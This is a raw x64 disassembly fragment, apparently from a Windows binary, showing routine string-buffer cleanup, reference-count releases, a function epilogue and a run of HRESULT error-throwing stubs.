xor edi, edi
jmp 0x1400139b0
mov rax, qword [rbp + 0x260]
mov byte [rax], 1
cmp dword [rbp - 0x74], 0x40000
setg bl
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140013e16
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013e11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014072
call fcn.1400fdcc4
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], 0
lea rdx, [rdi - 0x18]
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140013e45
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x30]
call fcn.14004d380
jmp 0x140013e53
xor bl, bl
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140013e8e
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013e89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014078
call fcn.1400fdcc4
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
mov eax, r14d
lock xadd dword [r15 - 8], eax
sub eax, 1
jg 0x140013ebf
mov rcx, qword [r15 - 0x18]
mov rax, qword [rcx]
lea rdx, [r15 - 0x18]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140013ede
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140013efd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x30]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140013f1c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov eax, r14d
mov rdx, qword [rbp + 0xd0]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140013f3a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r14d
sub r14d, 1
jg 0x140013f57
mov rcx, qword [rdx]
mov rdi, qword [rcx]
call qword [rdi + 8]
movzx eax, bl
mov rbx, qword [rsp + 0x350]
add rsp, 0x310
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x80070057
call fcn.14001ef00
nop
mov ecx, 0x80070057
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
int3
mov ecx, 0x80004005
call fcn.14001ef00
int3
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
int3
mov ecx, 0x80004005
call fcn.14001ef00
int3
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
int3
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
mov ecx, 0x80004005
call fcn.14001ef00
nop
call fcn.14010eeac
nop
call fcn.14010eeac
nop
mov ecx, 0x80070057
call fcn.14001ef00
nop
mov ecx, 0x80070057
call fcn.14001ef00
nop
mov ecx, 0x80070057
call fcn.14001ef00
int3